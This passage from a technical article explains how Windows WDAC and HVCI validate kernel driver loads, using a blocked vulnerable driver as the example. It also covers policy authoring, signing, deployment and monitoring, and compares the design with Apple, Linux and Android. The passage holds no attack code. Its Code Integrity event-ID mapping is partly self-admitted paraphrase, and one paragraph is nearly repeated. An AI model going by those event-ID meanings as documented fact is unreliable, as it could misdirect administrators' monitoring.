&lt;p&gt;Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for &lt;code&gt;dbutil_2_3.sys&lt;/code&gt; [@ms-driver-blocklist] terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled) [@ms-isg], and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a &lt;em&gt;secure call&lt;/em&gt; -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS [@paragmali-com-the-en].&lt;/p&gt;
&lt;p&gt;In step five, &lt;code&gt;SkCi.dll&lt;/code&gt; [@github-com-20alex20ionescu20-20201520blackhat2015] inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy&apos;s &lt;code&gt;HvciOptions&lt;/code&gt; element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.&lt;/p&gt;
&lt;p&gt;Step six returns control to the loader; the driver&apos;s image is now executable in VTL0 and its pages are read-only from VTL0&apos;s perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor [@ms-hyperv-bounty] (&lt;code&gt;hvix64.exe&lt;/code&gt; on Intel, &lt;code&gt;hvax64.exe&lt;/code&gt; on AMD), not by the kernel that the attacker may already control.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.&lt;/p&gt;
&lt;/blockquote&gt;

sequenceDiagram
    participant L as NT Loader
    participant CI as CI.dll (VTL0)
    participant Pol as Active policy state
    participant Hv as Hypervisor (hvix64.exe)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as SLAT page tables
    L-&amp;gt;&amp;gt;CI: NtCreateSection(image)
    CI-&amp;gt;&amp;gt;CI: Parse Authenticode + page-hash table
    CI-&amp;gt;&amp;gt;Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\
    Pol--&amp;gt;&amp;gt;CI: Verdict (deny / allow / signer / ISG)
    CI-&amp;gt;&amp;gt;Hv: Secure call: revalidate this kernel image
    Hv-&amp;gt;&amp;gt;Sk: Forward to VTL1
    Sk-&amp;gt;&amp;gt;Sk: Re-check signature + Block List
    Sk--&amp;gt;&amp;gt;Hv: PASS or FAIL
    Hv-&amp;gt;&amp;gt;SLAT: If PASS, flip page state W -&amp;gt; X (read-only execute)
    SLAT--&amp;gt;&amp;gt;L: DriverEntry executes in VTL0
    Note over SLAT,Hv: Future VTL0 write to these pages -&amp;gt; SLAT page-fault
&lt;p&gt;The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel [@ms-driver-blocklist] entries that show up in Event Viewer under each verdict.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;File path&lt;/th&gt;
&lt;th&gt;Event on failure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;NT loader&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\ntoskrnl.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(kernel STATUS code)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;CI engine&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\CI.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3023 (audit) / 3024 (enforce)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Policy state&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3076 (UMCI) / 3077 (UMCI enforce)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Secure call&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\securekernel.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(cross-VTL trace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Secure CI&lt;/td&gt;
&lt;td&gt;VTL1-resident &lt;code&gt;SkCi.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3033 (driver block) / 3034 (driver audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Hypervisor SLAT flip&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\hvix64.exe&lt;/code&gt; / &lt;code&gt;hvax64.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(hypervisor trace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Page-fault safety net&lt;/td&gt;
&lt;td&gt;Hypervisor&lt;/td&gt;
&lt;td&gt;SLAT violation crash&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS&apos;s own page tables. Because SLAT entries are *under* the OS&apos;s view, a kernel attacker in VTL0 can change the OS&apos;s page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections.

The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block) [@ms-event-id-explanations]. All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.
&lt;p&gt;The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.&lt;/p&gt;
&lt;p&gt;{`
// Demonstrates the logic of:
//   Get-CimInstance -ClassName Win32_DeviceGuard
//     -Namespace root\Microsoft\Windows\DeviceGuard
//
// AvailableSecurityProperties returns an array of small integers.
// Decode them against the Microsoft Learn-documented mapping.
const SECURITY_PROPS = {
  1: &apos;Hypervisor support (VBS-capable CPU)&apos;,
  2: &apos;Secure Boot is available&apos;,
  3: &apos;DMA protection is available&apos;,
  4: &apos;Secure Memory Overwrite is available&apos;,
  5: &apos;NX protections are available&apos;,
  6: &apos;SMM mitigations are available&apos;,
  7: &apos;MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)&apos;,
  8: &apos;APIC virtualization is available&apos;,
};&lt;/p&gt;
&lt;p&gt;// Pretend we just received this from a remote endpoint:
const sample = {
  AvailableSecurityProperties: [1, 2, 3, 5, 7],
  VirtualizationBasedSecurityStatus: 2, // 2 = running
  SecurityServicesRunning: [2],         // 2 = HVCI active
};&lt;/p&gt;
&lt;p&gt;console.log(&apos;VBS status:&apos;,
  sample.VirtualizationBasedSecurityStatus === 2 ? &apos;RUNNING&apos; : &apos;OFF&apos;);
console.log(&apos;HVCI:&apos;,
  sample.SecurityServicesRunning.includes(2) ? &apos;ACTIVE&apos; : &apos;INACTIVE&apos;);
console.log(&apos;Capabilities:&apos;);
for (const id of sample.AvailableSecurityProperties) {
  console.log(&apos;  -&apos;, SECURITY_PROPS[id] || (&apos;unknown:&apos; + id));
}
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Joanna Rutkowska&apos;s Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]) argued in 2006 that the hypervisor was the attacker&apos;s substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the &lt;em&gt;defender&apos;s&lt;/em&gt; substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska&apos;s rootkit possible is the hardware feature that makes HVCI&apos;s W$\oplus$X invariant enforceable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We now have an answer to the question that opened section one. When &lt;code&gt;dbutil_2_3.sys&lt;/code&gt; loaded against a default Windows 11 24H2 box with HVCI on, step five happened. &lt;code&gt;SkCi.dll&lt;/code&gt; consulted the Vulnerable Driver Block List [@ms-driver-blocklist] inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551 [@nvd-cve-2021-21551], refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to &lt;em&gt;operate&lt;/em&gt; it.&lt;/p&gt;
&lt;h2&gt;6. State of the Art: Authoring, Signing, Deploying, Monitoring&lt;/h2&gt;
&lt;p&gt;Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.&lt;/p&gt;
&lt;h3&gt;6.1 Authoring&lt;/h3&gt;
&lt;p&gt;Authoring starts from one of the example base policies [@ms-example-policies] Microsoft ships under &lt;code&gt;%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\&lt;/code&gt;. The directory contains &lt;code&gt;DefaultWindows_Audit.xml&lt;/code&gt; (a sane starting allowlist that runs in audit mode), &lt;code&gt;AllowMicrosoft.xml&lt;/code&gt;, &lt;code&gt;AllowAll.xml&lt;/code&gt;, &lt;code&gt;AllowAll_EnableHVCI.xml&lt;/code&gt;, &lt;code&gt;DenyAllAudit.xml&lt;/code&gt;, and the canonical &lt;code&gt;SmartAppControl.xml&lt;/code&gt; / &lt;code&gt;SignedReputable.xml&lt;/code&gt; [@ms-example-policies] consumer-grade template. There is also &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates &lt;code&gt;WinSiPolicy.xml&lt;/code&gt; and &lt;code&gt;WinSEPolicy.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The PowerShell call that mints a new base policy is &lt;code&gt;New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat&lt;/code&gt;. The &lt;code&gt;-Level&lt;/code&gt; flag picks one of the eight rule-level identities [@ms-rule-options] -- &lt;code&gt;Hash&lt;/code&gt;, &lt;code&gt;FilePath&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, &lt;code&gt;FilePublisher&lt;/code&gt;, &lt;code&gt;LeafCertificate&lt;/code&gt;, &lt;code&gt;PcaCertificate&lt;/code&gt;, &lt;code&gt;RootCertificate&lt;/code&gt;, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. &lt;code&gt;FilePublisher&lt;/code&gt; is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded &quot;anything from this signer&quot; allowance.&lt;/p&gt;

A WDAC rule option (rule option 13 [@ms-rule-options], first shipped in Windows 10 1703 in April 2017 [@ms-2017-wdac-blog]) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a &quot;trusted&quot; attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to &quot;how do you deploy software to a fleet that runs an enforced WDAC policy.&quot;
&lt;h3&gt;6.2 Audit-mode discovery&lt;/h3&gt;
&lt;p&gt;Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn [@ms-rule-options] is unambiguous: &quot;We recommend that you use &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn&apos;t allowed by the policy.&quot; &lt;code&gt;Set-RuleOption -Option 3&lt;/code&gt; on the policy XML enables audit mode; &lt;code&gt;Set-RuleOption -Option 3 -Delete&lt;/code&gt; removes it and switches the policy into enforce mode. In between, the SOC harvests &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event 3076 entries with &lt;code&gt;Get-WinEvent&lt;/code&gt;, and &lt;code&gt;New-CIPolicy -Audit&lt;/code&gt; mints a &lt;em&gt;discovery&lt;/em&gt; policy from the observed blocks that you can merge into the base.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate &lt;code&gt;New-CIPolicy -Audit -&amp;gt; merge -&amp;gt; redeploy&lt;/code&gt; until the audit-event volume goes near-zero. &lt;em&gt;Then&lt;/em&gt; delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.3 Signing&lt;/h3&gt;
&lt;p&gt;A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: &lt;code&gt;Add-SignerRule -Update&lt;/code&gt; to add the signer that may replace the policy in future, &lt;code&gt;Set-RuleOption -Option 6 -Delete&lt;/code&gt; to drop &quot;Enabled:Unsigned System Integrity Policy&quot; so the policy refuses to load unless signed, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt; to produce the binary &lt;code&gt;.cip&lt;/code&gt;, and &lt;code&gt;signtool.exe&lt;/code&gt; with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites [@ms-rule-options]: Secure Boot [@paragmali-com-to-userini] must be on; ECDSA certificates are explicitly unsupported; and the policy&apos;s &lt;code&gt;VersionEx&lt;/code&gt; must be monotonically increasing across replacements.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A botched signed-policy update -- a &lt;code&gt;VersionEx&lt;/code&gt; rollback, a wrong signer, a missing &lt;code&gt;UpdatePolicySigner&lt;/code&gt; for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset &lt;em&gt;before&lt;/em&gt; fleet rollout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 Deployment and stacking&lt;/h3&gt;
&lt;p&gt;Multiple-policy WDAC is the deployment model since Windows 10 1903 [@ms-deploy-multi]. Up to thirty-two active policies sit in &lt;code&gt;C:\Windows\System32\CodeIntegrity\CIPolicies\Active\&lt;/code&gt;, or unlimited on devices that have the April 9, 2024 cumulative update [@ms-deploy-multi]. Base-and-supplemental composition (&lt;code&gt;&amp;lt;SupplementalPolicySigner&amp;gt;&lt;/code&gt;) lets a divisional supplemental policy union into a corporate base. The &lt;code&gt;&amp;lt;HvciOptions&amp;gt;&lt;/code&gt; element toggles HVCI from inside the policy XML itself. The published &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; [@ms-driver-blocklist] policy is designed to stack alongside an organisation&apos;s allowlist without merging.&lt;/p&gt;
&lt;p&gt;Deployment surfaces today are: the Intune App Control for Business CSP [@ms-acfb-landing], Configuration Manager&apos;s App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.&lt;/p&gt;

flowchart LR
    A[DefaultWindows_Audit.xml]
    B[Set-RuleOption -Option 3&lt;br /&gt;Deploy in audit mode]
    C[Get-WinEvent CodeIntegrity-Operational&lt;br /&gt;collect event 3076]
    D[New-CIPolicy -Audit&lt;br /&gt;mint supplemental from blocks]
    E[Merge supplemental + base]
    F[Set-RuleOption -Option 3 -Delete]
    G[ConvertFrom-CIPolicy + signtool]
    H[Deploy enforced via Intune / ConfigMgr]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; C
    E --&amp;gt; F --&amp;gt; G --&amp;gt; H
&lt;h3&gt;6.5 Monitoring&lt;/h3&gt;
&lt;p&gt;Monitoring rests on two telemetry sources. The first is the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel [@ms-event-id-explanations] on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting [@ms-asr-rules], where the &lt;code&gt;DeviceEvents&lt;/code&gt; table carries &lt;code&gt;AppControlExecutableAudited&lt;/code&gt;, &lt;code&gt;AppControlExecutableBlocked&lt;/code&gt;, and &lt;code&gt;AppControlCodeIntegrityDriverRevoked&lt;/code&gt; rows. The two stitch together: a single 3033 event on the endpoint maps to a single &lt;code&gt;AppControlCodeIntegrityDriverRevoked&lt;/code&gt; row in the SIEM.&lt;/p&gt;
&lt;p&gt;The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-vmdrc-blog] -- &lt;em&gt;Block abuse of exploited vulnerable signed drivers&lt;/em&gt;. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.&lt;/p&gt;

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Audience&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;3023&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver would have been blocked (audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3024&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3033&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver blocked by Block List rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3034&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver allowed but matched audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3076&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;User-mode&lt;/td&gt;
&lt;td&gt;Process would have been blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3077&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;User-mode&lt;/td&gt;
&lt;td&gt;Process blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a &lt;code&gt;New-CIPolicy -Level FilePublisher&lt;/code&gt; invocation extracts from a PE binary.&lt;/p&gt;
&lt;p&gt;{`
// Demonstrates the logic of:
//   New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash
//
// The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName
// + minimum Version. Anything from the same publisher with the same product
// and binary names, at or above the version bar, satisfies the rule.
function filePublisherRule(pe) {
  return {
    O: pe.signer.organization,
    CN: pe.signer.commonName,
    ProductName: pe.versionInfo.productName,
    BinaryName: pe.versionInfo.originalFilename,
    MinimumVersion: pe.versionInfo.fileVersion,
  };
}&lt;/p&gt;
&lt;p&gt;const peSample = {
  signer: { organization: &apos;Microsoft Corporation&apos;, commonName: &apos;Microsoft Windows&apos; },
  versionInfo: {
    productName: &apos;Microsoft Windows Operating System&apos;,
    originalFilename: &apos;powershell.exe&apos;,
    fileVersion: &apos;10.0.26100.1&apos;,
  },
};&lt;/p&gt;
&lt;p&gt;const rule = filePublisherRule(peSample);
console.log(&apos;Generated FilePublisher rule:&apos;);
for (const [k, v] of Object.entries(rule)) console.log(&apos;  &apos; + k + &apos; = &apos; + v);
console.log(&apos;Anything at or above version&apos;, rule.MinimumVersion, &apos;will satisfy this rule.&apos;);
`}&lt;/p&gt;
&lt;p&gt;The consumer cousin of WDAC is Smart App Control [@ms-sac-support], which runs the same &lt;code&gt;CI.dll&lt;/code&gt; against an example policy (&lt;code&gt;SmartAppControl.xml&lt;/code&gt;, also shipped as &lt;code&gt;SignedReputable.xml&lt;/code&gt;). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, &quot;no way to bypass Smart App Control protection for individual apps.&quot;&lt;/p&gt;
&lt;p&gt;WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.&lt;/p&gt;
&lt;h2&gt;7. Competing Approaches: Apple, Linux, Android&lt;/h2&gt;
&lt;p&gt;Three other major operating systems answer the question &quot;which code is allowed to run on this device.&quot; None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;macOS&lt;/strong&gt; combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015) [@wikipedia-sip], and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple [@apple-gatekeeper]. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon [@apple-os-integrity], which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt; ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009 [@linux-ima], with the Extended Verification Module (EVM) for off-line attack protection and &lt;code&gt;dm-verity&lt;/code&gt; [@wikipedia-dm-verity] for read-only rootfs verification. IMA is the closest Linux analogue to WDAC&apos;s audit pipeline: it can &lt;em&gt;collect&lt;/em&gt; file measurements, &lt;em&gt;store&lt;/em&gt; them in a kernel-resident list (and extend a TPM PCR if hardware is present), &lt;em&gt;attest&lt;/em&gt; them remotely, and &lt;em&gt;appraise&lt;/em&gt; them against a &quot;good&quot; value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing&apos;s TDX or SEV-SNP overlay, and that is opt-in.&lt;/p&gt;

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot [@android-verified-boot], and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD [@wikipedia-dm-verity].
&lt;p&gt;&lt;strong&gt;Android&lt;/strong&gt; combines Android Verified Boot (AVB), introduced in Android 8.0 [@android-verified-boot], which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9) [@android-apk-signing], and v4 (Android 11) [@android-apk-v4]; the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Windows (WDAC + HVCI)&lt;/th&gt;
&lt;th&gt;macOS&lt;/th&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Tenant-authored policy&lt;/td&gt;
&lt;td&gt;Yes (XML)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (IMA appraise)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hypervisor-rooted enforcement&lt;/td&gt;
&lt;td&gt;Yes (VTL1)&lt;/td&gt;
&lt;td&gt;No (silicon-rooted)&lt;/td&gt;
&lt;td&gt;No (default)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-page W$\oplus$X for kernel&lt;/td&gt;
&lt;td&gt;Yes (HVCI)&lt;/td&gt;
&lt;td&gt;Yes (KIP, fixed)&lt;/td&gt;
&lt;td&gt;No (default)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sealed system image&lt;/td&gt;
&lt;td&gt;No (modular)&lt;/td&gt;
&lt;td&gt;Yes (sealed APFS)&lt;/td&gt;
&lt;td&gt;Optional (dm-verity)&lt;/td&gt;
&lt;td&gt;Yes (Verified Boot)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-load runtime check&lt;/td&gt;
&lt;td&gt;Yes (every PE)&lt;/td&gt;
&lt;td&gt;Yes (every Mach-O)&lt;/td&gt;
&lt;td&gt;Optional (IMA)&lt;/td&gt;
&lt;td&gt;App install / Zygote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust anchor&lt;/td&gt;
&lt;td&gt;Microsoft + tenant&lt;/td&gt;
&lt;td&gt;Apple only&lt;/td&gt;
&lt;td&gt;TPM PCR / tenant&lt;/td&gt;
&lt;td&gt;AVB key + Google Play&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Documented bypass class&lt;/td&gt;
&lt;td&gt;LOLBINs + BYOVD&lt;/td&gt;
&lt;td&gt;Notarization gaps&lt;/td&gt;
&lt;td&gt;Off-by-default IMA&lt;/td&gt;
&lt;td&gt;Sandbox escapes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Windows distinction is structural. A &lt;em&gt;hypervisor-rooted&lt;/em&gt; runtime enforcement loop, against an &lt;em&gt;XML-schema author-anywhere policy&lt;/em&gt;, evaluated at &lt;em&gt;every PE load&lt;/em&gt; by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft&apos;s September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.&lt;/p&gt;

The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.
&lt;p&gt;The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.&lt;/p&gt;
&lt;h2&gt;8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface&lt;/h2&gt;
